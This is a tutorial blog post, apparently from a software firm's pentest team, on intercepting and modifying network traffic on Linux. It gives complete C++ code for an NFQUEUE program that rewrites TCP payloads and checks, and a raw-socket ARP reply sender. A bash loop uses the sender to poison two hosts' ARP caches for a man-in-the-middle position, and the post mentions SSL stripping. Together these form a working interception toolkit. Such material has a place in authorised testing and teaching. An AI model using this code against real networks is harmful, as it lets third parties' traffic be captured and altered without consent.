Super User

Modifying Network Traffic with NFQUEUE and ARP Spoofing

In one of our recent penetration testing projects, we needed to find an easy yet efficient solution for monitoring and analyzing traffic between the Linux kernel and the user space. We developed an approach that combines the use of Netfilter queue (NFQUEUE) and Address Resolution Protocol (ARP) spoofing, a traffic manipulation technique that works similarly to a Man in the Middle (MITM) attack.

The combination of NFQUEUE and ARP spoofing can be used for analyzing network traffic, investigating data leaks, examining the behavior of a particular application, and analyzing the current state and performance of the system as a whole.

Written by: Andrew Melnichenko, Software Designer, Linux Development Team

Contents:

Modifying network traffic with NFQUEUE

Configuring iptables

Writing a users pace program

Monitoring network traffic with ARP spoofing

Understanding the nature of ARP spoofing

Launching an ARP spoofing attack

Conclusion

References

Modifying network traffic with NFQUEUE

For those who aren’t familiar with netfilter modules, NFQUEUE is a kernel and user mode module for managing network packets in iptables. It allows you to write netfilter target modules in user space. NFQUEUE works through Netlink sockets, although it’s way easier to work through the default library, libnetfilter_queue.so.

Depending on the task at hand, you can use NFQUEUE for traffic filtering or traffic shaping. Also, NFQUEUE targets are widely used by both open source and commercial intrusion prevention systems (IPS). But NFQUEUE isn’t the only option for monitoring and manipulating network traffic. You can also use libcap for data monitoring and libnet for crafting TCP segments for your targets.

Using NFQUEUE for an MITM attack, you can get full visibility over the traffic sent between your targeted hosts. In this case, packet modification is performed in two stages:

Сonfiguring iptables

Writing a user space program for using NFQUEUE

Let’s look closely at these stages.

Configuring iptables

In order to manipulate packets using NFQUEUE, you need to configure an iptables rule first. In the following example, we handle all outgoing TCP traffic to port 5566:

iptables -t mangle -A POSTROUTING -p tcp --dport 5566 -j NFQUEUE

You can specify the queue number and distinguish two different queues using the option --queue-num <num>. By default, the queue number is 0. Now, all traffic that matches the rule will be pushed into queue 0 and will wait until someone handles the queue.

Writing a user space program

In order to filter iptables in user space with NFQUEUE, you first need to write a special user space program. Below, we provide a detailed tutorial on writing such a program in twelve steps, with code examples and detailed explanations. To see the whole code of an example user space program, scroll down to the end of this section.

Step 1. First, let’s start with a user space application.

extern "C" { #include <libnetfilter_queue/libnetfilter_queue.h> #include <libnetfilter_queue/pktbuff.h> #include <libnetfilter_queue/libnetfilter_queue_ipv4.h> #include <libnetfilter_queue/libnetfilter_queue_tcp.h> }

At this step, you need to include all necessary headers. In our example, we’ve used pktbuff, libnetfilter_queue_ipv4, and libnetfilter_queue_tcp.

Step 2. Now, let’s specify the open library context that’ll be used for future library calls and configurations.

int main() { struct nfq_handle * handler = nfq_open(); THROW_IF_TRUE(handler == nullptr, "Can\'t open nfqueue handler."); SCOPED_GUARD( nfq_close(handler); ); // Don’t forget to clean up

Step 3. When creating an open queue, we use the following four arguments:

The nfq handler The queue number, which can be set using the option --queue-num when configuring iptables rules The callback function that will be called by default when the packet is intercepted The context that will be passed to the callback after packet interception

struct nfq_q_handle *queue = nfq_create_queue(handler, 0, netfilterCallback, nullptr); THROW_IF_TRUE(queue == nullptr, "Can\'t create queue handler."); SCOPED_GUARD( nfq_destroy_queue(queue); ); // Don’t forget to clean up

Step 4. Next, we specify how much data we’ll get in the callback. Using the NFQNL_COPY_PACKET function, you can copy the whole packet.

THROW_IF_TRUE(nfq_set_mode(queue, NFQNL_COPY_PACKET, 0xffff) < 0, "Can\'t set queue copy mode.");

Step 5. Now we need to handle the queue. The nfq_fd() function returns the file descriptor of a Netlink socket. The file descriptor can be used in the epoll() function or select()/poll() function for multiplexing.

All you need to do is read data to the buffer and send it to the nfq_handle_packet() function. This function will parse Netlink structures, retrieve a network packet, and eventually call the callback. In our example, it calls the netfilterCallback() function.

int fd = nfq_fd(handler); std::array<char, 0x10000> buffer; for(;;) { int len = read(fd, buffer.data(), buffer.size()); THROW_IF_TRUE(len < 0, "Issue while read"); nfq_handle_packet(handler, buffer.data(), len); } return 0; }

Step 6. At this point, we can implement the netfilterCallback() function.

The main purpose for implementing this callback function is to advance the verdict issued by NFQUEUE. The module can either drop or accept packets, inject packets into a different queue, or re-inject them into iptables (NF_DROP, NF_ACCEPT, NF_QUEUE, or NF_REPEAT, respectively). In our case, we’re interested in passing all packets through.

static int netfilterCallback(struct nfq_q_handle *queue, struct nfgenmsg *nfmsg, struct nfq_data *nfad, void *data) { struct nfqnl_msg_packet_hdr *ph = nfq_get_msg_packet_hdr(nfad); THROW_IF_TRUE(ph == nullptr, "Issue while packet header."); return nfq_set_verdict(queue, ntohl(ph->packet_id), NF_ACCEPT, 0, nullptr); }

Note that the nfq_set_verdict() function requires a packet ID. You can retrieve the packet ID from the Netlink message header.

Step 7. Now, let’s investigate and modify a packet. First, we need to get the packet data:

unsigned char *rawData = nullptr; int len = nfq_get_payload(nfad, &rawData); THROW_IF_TRUE(len < 0, "Can\'t get payload data.");

Step 8. Using the data received in Step 7, we can create a pkt_buff struct. This struct works pretty similarly to the Linux kernel sk_buff struct.

struct pkt_buff * pkBuff = pktb_alloc(AF_INET, rawData, len, 0x1000); THROW_IF_TRUE(pkBuff == nullptr, "Issue while pktb allocate."); SCOPED_GUARD( pktb_free(pkBuff); ); // Don't forget to clean up

The pktb_alloc() function copies your buffer data to keep the raw data untouched. In order to modify a packet, you need to pass new raw data to the nfq_set_verdict() function:

return nfq_set_verdict(queue, ntohl(ph->packet_id), NF_ACCEPT, pktb_len(pkBuff), pktb_data(pkBuff));

Step 9. Depending on the task at hand, you can manipulate data the way you need. For instance, you can perform SSL stripping. But if you try to change the packet size, then you should handle stream synchronization by yourself (syn and ack numbers, etc.).

Let’s try to reverse the TCP data payload, for example. The pkt_buff struct provides several handy functions. First, let’s use this struct to get the IP header:

struct iphdr *ip = nfq_ip_get_hdr(pkBuff); THROW_IF_TRUE(ip == nullptr, "Issue while ipv4 header.");

Once you get the IP header, you can use and modify it. Next, we should check the transport protocol and retrieve the TCP header.

THROW_IF_TRUE(nfq_ip_set_transport_header(pkBuff, ip) < 0, "Can\'t set transport header.");

But before that, you need to call the nfq_ip_set_transport_header() function. Otherwise, the pkt_buff struct won’t parse the next transport header.

Step 10. Let’s get the TCP header.

if(ip->protocol == IPPROTO_TCP) { struct tcphdr *tcp = nfq_tcp_get_hdr(pkBuff); THROW_IF_TRUE(tcp == nullptr, "Issue while tcp header.");

Now we have the TCP header and can modify it. However, our main interest lies with the TCP payload.

void *payload = nfq_tcp_get_payload(tcp, pkBuff); unsigned int payloadLen = nfq_tcp_get_payload_len(tcp, pkBuff); payloadLen -= 4 * tcp->th_off; THROW_IF_TRUE(payload == nullptr, "Issue while payload.");

With the help of the nfq_tcp_get_payload() function, we can get a pointer to the payload data. The nfq_tcp_get_payload_len() function will return the length of a whole TCP segment with the TCP header. Therefore, we need to subtract the length of the TCP header.

Step 11. Now, we can finally modify the payload data. In the example below, we reverse it.

for (unsigned int i = 0; i < payloadLen / 2; ++i) { char tmp = (static_cast<char *>(payload))[i]; (static_cast<char *>(payload))[i] = (static_cast<char *>(payload))[payloadLen - 1 - i]; (static_cast<char *>(payload))[payloadLen - 1 - i] = tmp; }

Step 12. When modifying the payload data, we need to also recalculate the TCP checksum.

nfq_tcp_compute_checksum_ipv4(tcp, ip);

Finally, we can send our verdict using the return nfq_set_verdict() function.

return nfq_set_verdict(queue, ntohl(ph->packet_id), NF_ACCEPT, pktb_len(pkBuff), pktb_data(pkBuff));

Below, we provide a complete example of a user space program for packet modification with NFQUEUE.

#include <memory> #include <functional> #include <array> #include <unistd.h> #include <netinet/in.h> #include <netinet/ip.h> #include <netinet/tcp.h> #include <linux/netfilter.h> extern "C" { #include <libnetfilter_queue/libnetfilter_queue.h> #include <libnetfilter_queue/pktbuff.h> #include <libnetfilter_queue/libnetfilter_queue_ipv4.h> #include <libnetfilter_queue/libnetfilter_queue_tcp.h> } #define THROW_IF_TRUE(x, m) do { if((x)) { throw std::runtime_error(m); }} while(false) #define CONCAT_0(pre, post) pre ## post #define CONCAT_1(pre, post) CONCAT_0(pre, post) #define GENERATE_IDENTIFICATOR(pre) CONCAT_1(pre, __LINE__) using ScopedGuard = std::unique_ptr<void, std::function<void(void *)>>; #define SCOPED_GUARD_NAMED(name, code) ScopedGuard name(reinterpret_cast<void *>(-1), [&](void *) -> void {code}); (void)name #define SCOPED_GUARD(code) SCOPED_GUARD_NAMED(GENERATE_IDENTIFICATOR(genScopedGuard), code) static int netfilterCallback(struct nfq_q_handle *queue, struct nfgenmsg *nfmsg, struct nfq_data *nfad, void *data) { struct nfqnl_msg_packet_hdr *ph = nfq_get_msg_packet_hdr(nfad); THROW_IF_TRUE(ph == nullptr, "Issue while packet header"); unsigned char *rawData = nullptr; int len = nfq_get_payload(nfad, &rawData); THROW_IF_TRUE(len < 0, "Can\'t get payload data"); struct pkt_buff * pkBuff = pktb_alloc(AF_INET, rawData, len, 0x1000); THROW_IF_TRUE(pkBuff == nullptr, "Issue while pktb allocate"); SCOPED_GUARD( pktb_free(pkBuff); ); // Don't forget to clean up struct iphdr *ip = nfq_ip_get_hdr(pkBuff); THROW_IF_TRUE(ip == nullptr, "Issue while ipv4 header parse."); THROW_IF_TRUE(nfq_ip_set_transport_header(pkBuff, ip) < 0, "Can\'t set transport header."); if(ip->protocol == IPPROTO_TCP) { struct tcphdr *tcp = nfq_tcp_get_hdr(pkBuff); THROW_IF_TRUE(tcp == nullptr, "Issue while tcp header."); void *payload = nfq_tcp_get_payload(tcp, pkBuff); unsigned int payloadLen = nfq_tcp_get_payload_len(tcp, pkBuff); payloadLen -= 4 * tcp->th_off; THROW_IF_TRUE(payload == nullptr, "Issue while payload."); for (unsigned int i = 0; i < payloadLen / 2; ++i) { char tmp = (static_cast<char *>(payload))[i]; (static_cast<char *>(payload))[i] = (static_cast<char *>(payload))[payloadLen - 1 - i]; (static_cast<char *>(payload))[payloadLen - 1 - i] = tmp; } nfq_tcp_compute_checksum_ipv4(tcp, ip); return nfq_set_verdict(queue, ntohl(ph->packet_id), NF_ACCEPT, pktb_len(pkBuff), pktb_data(pkBuff)); } return nfq_set_verdict(queue, ntohl(ph->packet_id), NF_ACCEPT, 0, nullptr); } int main() { struct nfq_handle * handler = nfq_open(); THROW_IF_TRUE(handler == nullptr, "Can\'t open hfqueue handler."); SCOPED_GUARD( nfq_close(handler); ); // Don’t forget to clean up struct nfq_q_handle *queue = nfq_create_queue(handler, 0, netfilterCallback, nullptr); THROW_IF_TRUE(queue == nullptr, "Can\'t create queue handler."); SCOPED_GUARD( nfq_destroy_queue(queue); ); // Do not forget to clean up THROW_IF_TRUE(nfq_set_mode(queue, NFQNL_COPY_PACKET, 0xffff) < 0, "Can\'t set queue copy mode."); int fd = nfq_fd(handler); std::array<char, 0x10000> buffer; for(;;) { int len = read(fd, buffer.data(), buffer.size()); THROW_IF_TRUE(len < 0, "Issue while read"); nfq_handle_packet(handler, buffer.data(), len); } return 0; }

So this is how you can use NFQUEUE for intercepting and modifying packets sent to the user space. However, this approach works only for intercepting routed and forwarded traffic when your machine plays the part of a route or bridge in the network.

Otherwise, you’ll need to intercept the data flow between two hosts located on a local Ethernet network. And this is a task NFQUEUE can’t help you with.

Fortunately, there’s a way to make your targets send their packets through your machine even when you need to monitor and modify traffic between two hosts in a local network. In the next section, we describe how you can intercept packets with the help of ARP spoofing.

Monitoring network traffic with ARP spoofing

ARP spoofing is a well-known cyber attack technique used for redirecting the victim’s traffic to the attacker’s machine by sending falsified ARP messages. We can use this technique to manage data flow in a local Ethernet network and, particularly, to redirect the traffic between two hosts so you can investigate and modify it. ARP spoofing is often used as a pre-condition for executing more complex attacks such as MITM or denial of service.

Understanding the nature of ARP spoofing

First of all, let’s look at how the ARP protocol works. All data inside local networks is routed according to MAC addresses. ARP is the protocol that allows you to discover the MAC address associated with a particular IP address. Using this information, it’s possible to link the MAC address of an attacker with the IP address of the victim and redirect traffic sent to the victim to the attacker’s machine.

So in order to redirect traffic to a particular host, we first need to learn its MAC address.

The ARP protocol has two main messages:

Request : for instance, “Who has IP <target IP> ? Tell <sender IP & sender MAC>”

: for instance, “Who has IP <target IP> ? Tell <sender IP & sender MAC>” Response : for instance, “<sender IP> is at <sender MAC>! To <target IP & target MAC(or broadcast)>”

Below, we provide a simple example of an ARP traffic redirection mechanism.

Let’s assume we have two hosts: host A and host B.

Host A: IP 1.1.1.1 MAC a:a:a:a:a:a

Host B: IP 2.2.2.2 MAC b:b:b:b:b:b

Host A wants to send a packet to host B:

Host A sends an ARP request with the sender IP address 1.1.1.1 and sender MAC address a:a:a:a:a:a, and sets the target IP address as 2.2.2.2. Host B sends a response with the sender IP 2.2.2.2 and sender MAC address b:b:b:b:b:b. The target IP address is 1.1.1.1 and the target MAC address is a:a:a:a:a:a. Now, host A can send IP packets to host B and use the MAC address b:b:b:b:b:b as the destination in the Ethernet frame.

Figure 1. Packet traffic scheme

Now let’s assume we have a third host, host C, with the IP address 3.3.3.3 and the MAC address c:c:c:c:c:c. Here’s what we need to do to redirect traffic from hosts A and B to host C:

From host C to host A : send an ARP response with the sender IP address 2.2.2.2 and the sender MAC address c:c:c:c:c:c; set the target IP address as 1.1.1.1 and the target MAC address as a:a:a:a:a:a.

: send an ARP response with the sender IP address 2.2.2.2 and the sender MAC address c:c:c:c:c:c; set the target IP address as 1.1.1.1 and the target MAC address as a:a:a:a:a:a. From host C to host B : send an ARP response with the sender IP address 1.1.1.1 and sender MAC address c:c:c:c:c:c; set the target IP address as 2.2.2.2 and the target MAC address as b:b:b:b:b:b.

Figure 2. Traffic redirection scheme

Now, to send a message from host A to host B, host A will use the MAC address of host C and vice versa. In terms of handling traffic on host C, it’s more like bridge traffic.

Next, you need to enable traffic forwarding:

echo 1 > /proc/sys/net/ipv4/ip_forward

You can also set an iptables NFQUEUE rule in the PREROUTING, FORWARD, and POSTROUTING chains.

Now let’s see how these techniques work in practice.

Related services Kernel and Driver Development

Launching an ARP spoofing attack

First, we need to craft an ARP response packet. In our example, we use a packet socket (man 7 packet).

First, we need to create a socket:

int sock = socket(PF_PACKET, SOCK_RAW, 0); THROW_IF_TRUE(sock < 0, "Issue while creating socket."); SCOPED_GUARD( close(sock); );

Then, we create an Ethernet ARP reply message:

std::vector<char> buffer; craftEthernetArpResponse(buffer, senderMAC, senderIP, targetMAC, targetIP);

The craftEthernetArpResponse() function will be examined later.

Finally, we send the packets to the necessary host.

struct sockaddr_ll sll = {}; sll.sll_family = AF_PACKET; sll.sll_ifindex = getInterfaceIndex(sock, interfaceName); int r = sendto(sock, buffer.data(), buffer.size(), 0, reinterpret_cast<sockaddr *>(&sll), sizeof(sll)); THROW_IF_TRUE(r < 0, "Issue while sendto call.");

The sll_ifindex interface index should contain the number of the interface. If you know the interface name, you can get the interface number using the getInterfaceIndex() function.

Let’s take a closer look at the implementation of the getInterfaceIndex() function. The implementation of this function requires any socket and the ioctl call SIOGIFINDEX.

int getInterfaceIndex(int sock, const std::string &interfaceName) { struct ifreq ifr = {}; strncpy(ifr.ifr_name, interfaceName.c_str(), IFNAMSIZ); ioctl(sock, SIOGIFINDEX, &ifr); THROW_IF_TRUE(r < 0, "Issue while resolving interface index"); return ifr.ifr_ifindex; }

Now let’s get back to crafting an Ethernet ARP reply with the help of the craftEthernetArpResponse() function. The whole process consists of three steps:

Crafting an Ethernet header

Crafting a basic ARP header

Pushing data to the buffer

Below, we provide detailed explanations of each step. To see the whole code for writing an ARP sender, scroll down to the end of the section.

Step 1. First we need to craft an Ethernet header:

void craftEthernetArpResponse(std::vector<char> &buffer, const std::string &senderMAC, const std::string &senderIP, const std::string &targetMAC, const std::string &targetIP) { struct ether_header ethernetHeader = {}; memcpy(ethernetHeader.ether_dhost, ether_aton(targetMAC.c_str()), ETH_ALEN); memcpy(ethernetHeader.ether_shost, ether_aton(senderMAC.c_str()), ETH_ALEN); ethernetHeader.ether_type = htons(ETH_P_ARP);

Step 2. Now we need to create a basic ARP header that contains only the main information: the IP and MAC addresses of our hosts.

struct arphdr arpHeader = {}; arpHeader.ar_hrd = htons(ARPHRD_ETHER); arpHeader.ar_pro = htons(ETH_P_IP); arpHeader.ar_hln = ETH_ALEN; arpHeader.ar_pln = sizeof(in_addr_t); arpHeader.ar_op = htons(ARPOP_REPLY);

Step 3. Then we need to push everything into the buffer:

buffer.resize(0); buffer.insert(buffer.end(), reinterpret_cast<char *>(ðernetHeader), reinterpret_cast<char *>(ðernetHeader) + sizeof(ethernetHeader)); buffer.insert(buffer.end(), reinterpret_cast<char *>(&arpHeader), reinterpret_cast<char *>(&arpHeader) + sizeof(arpHeader)); auto mac = ether_aton(senderMAC.c_str()); buffer.insert(buffer.end(), reinterpret_cast<char *>(mac->ether_addr_octet), reinterpret_cast<char *>(mac->ether_addr_octet) + ETH_ALEN); auto ip = inet_addr(senderIP.c_str()); buffer.insert(buffer.end(), reinterpret_cast<char *>(&ip), reinterpret_cast<char *>(&ip) + sizeof(in_addr_t)); mac = ether_aton(targetMAC.c_str()); buffer.insert(buffer.end(), reinterpret_cast<char *>(mac->ether_addr_octet), reinterpret_cast<char *>(mac->ether_addr_octet) + ETH_ALEN); ip = inet_addr(targetIP.c_str()); buffer.insert(buffer.end(), reinterpret_cast<char *>(&ip), reinterpret_cast<char *>(&ip) + sizeof(in_addr_t)); }

Generally, the code for writing an ARP sender looks like this:

#include <iostream> #include <cstring> #include <vector> #include <functional> #include <memory> #include <unistd.h> #include <sys/socket.h> #include <sys/ioctl.h> #include <linux/if_packet.h> #include <net/ethernet.h> #include <net/if.h> #include <arpa/inet.h> #include <netinet/ether.h> #include <netinet/in.h> #define THROW_IF_TRUE(x, m) do { if((x)) { throw std::runtime_error(m); }} while(false) #define CONCAT_0(pre, post) pre ## post #define CONCAT_1(pre, post) CONCAT_0(pre, post) #define GENERATE_IDENTIFICATOR(pre) CONCAT_1(pre, __LINE__) using ScopedGuard = std::unique_ptr<void, std::function<void(void *)>>; #define SCOPED_GUARD_NAMED(name, code) ScopedGuard name(reinterpret_cast<void *>(-1), [&](void *) -> void {code}); (void)name #define SCOPED_GUARD(code) SCOPED_GUARD_NAMED(GENERATE_IDENTIFICATOR(genScopedGuard), code) int getInterfaceIndex(int sock, const std::string &interfaceName) { struct ifreq ifr = {}; strncpy(ifr.ifr_name, interfaceName.c_str(), IFNAMSIZ); int r = ioctl(sock, SIOGIFINDEX, &ifr); THROW_IF_TRUE(r < 0, "Issue while resolving interface index"); return ifr.ifr_ifindex; } void craftEthernetArpResponse(std::vector<char> &buffer, const std::string &senderMAC, const std::string &senderIP, const std::string &targetMAC, const std::string &targetIP) { struct ether_header ethernetHeader = {}; memcpy(ethernetHeader.ether_dhost, ether_aton(targetMAC.c_str()), ETH_ALEN); memcpy(ethernetHeader.ether_shost, ether_aton(senderMAC.c_str()), ETH_ALEN); ethernetHeader.ether_type = htons(ETH_P_ARP); struct arphdr arpHeader = {}; arpHeader.ar_hrd = htons(ARPHRD_ETHER); arpHeader.ar_pro = htons(ETH_P_IP); arpHeader.ar_hln = ETH_ALEN; arpHeader.ar_pln = sizeof(in_addr_t); arpHeader.ar_op = htons(ARPOP_REPLY); buffer.resize(0); buffer.insert(buffer.end(), reinterpret_cast<char *>(ðernetHeader), reinterpret_cast<char *>(ðernetHeader) + sizeof(ethernetHeader)); buffer.insert(buffer.end(), reinterpret_cast<char *>(&arpHeader), reinterpret_cast<char *>(&arpHeader) + sizeof(arpHeader)); auto mac = ether_aton(senderMAC.c_str()); buffer.insert(buffer.end(), reinterpret_cast<char *>(mac->ether_addr_octet), reinterpret_cast<char *>(mac->ether_addr_octet) + ETH_ALEN); auto ip = inet_addr(senderIP.c_str()); buffer.insert(buffer.end(), reinterpret_cast<char *>(&ip), reinterpret_cast<char *>(&ip) + sizeof(in_addr_t)); mac = ether_aton(targetMAC.c_str()); buffer.insert(buffer.end(), reinterpret_cast<char *>(mac->ether_addr_octet), reinterpret_cast<char *>(mac->ether_addr_octet) + ETH_ALEN); ip = inet_addr(targetIP.c_str()); buffer.insert(buffer.end(), reinterpret_cast<char *>(&ip), reinterpret_cast<char *>(&ip) + sizeof(in_addr_t)); } int main(int argc, char **argv) { if(argc < 5) { std::cerr << "Usage: " << argv[0] << " <interface> <senderMAC> <senderIP> <targetMAC> <targetIP>" << std::endl; exit(-1); } std::string interfaceName = argv[1]; std::string senderMAC = argv[2]; std::string senderIP = argv[3]; std::string targetMAC = argv[4]; std::string targetIP = argv[5]; int sock = socket(PF_PACKET, SOCK_RAW, 0); THROW_IF_TRUE(sock < 0, "Issue while socket creating."); SCOPED_GUARD( close(sock); ); std::vector<char> buffer; craftEthernetArpResponse(buffer, senderMAC, senderIP, targetMAC, targetIP); struct sockaddr_ll sll = {}; sll.sll_family = AF_PACKET; sll.sll_ifindex = getInterfaceIndex(sock, interfaceName); int r = sendto(sock, buffer.data(), buffer.size(), 0, reinterpret_cast<sockaddr *>(&sll), sizeof(sll)); THROW_IF_TRUE(r < 0, "Issue while sendto call."); return 0; }

Now let’s compile that program to arp_sender. The easiest way to intercept traffic between two hosts using the ARP spoofing technique would be to spam these hosts with ARP responses from the third host (the bridge).

Here’s what our ARP attack will look like:

#!/bin/bash while true do ./arp_sender enp2s0 c:c:c:c:c:c 2.2.2.2 a:a:a:a:a:a 1.1.1.1 ./arp_sender enp2s0 c:c:c:c:c:c 1.1.1.1 b:b:b:b:b:b 2.2.2.2 sleep 5 done

Such an attack will be effective in most Ethernet networks. But in large corporate networks with attentive admins, this attack might have serious consequences :)

Conclusion

Now you know an easy way to monitor packets sent between the Linux kernel and user space with the help of two tools: NFQUEUE and ARP spoofing. When your machine plays the part of a route or bridge between your targets, you can modify packets using a Linux MITM attack with NFQUEUE. NFQUEUE lets you monitor, analyze, filter, and shape network traffic the way you need.

ARP spoofing, in turn, helps redirect packets sent between the target hosts to your machine. Using this technique, you can monitor traffic within your Ethernet network and then use NFQUEUE to modify particular packets.

Have a challenging Linux project in mind? At Apriorit, we have a team of professionals – including ethical hackers – who feel passionate about Linux kernel and driver development and can help with your project.

References

Netfilter – Libnetfilter_queue modules

Netfilter – Libnetfilter_queue: Queue handling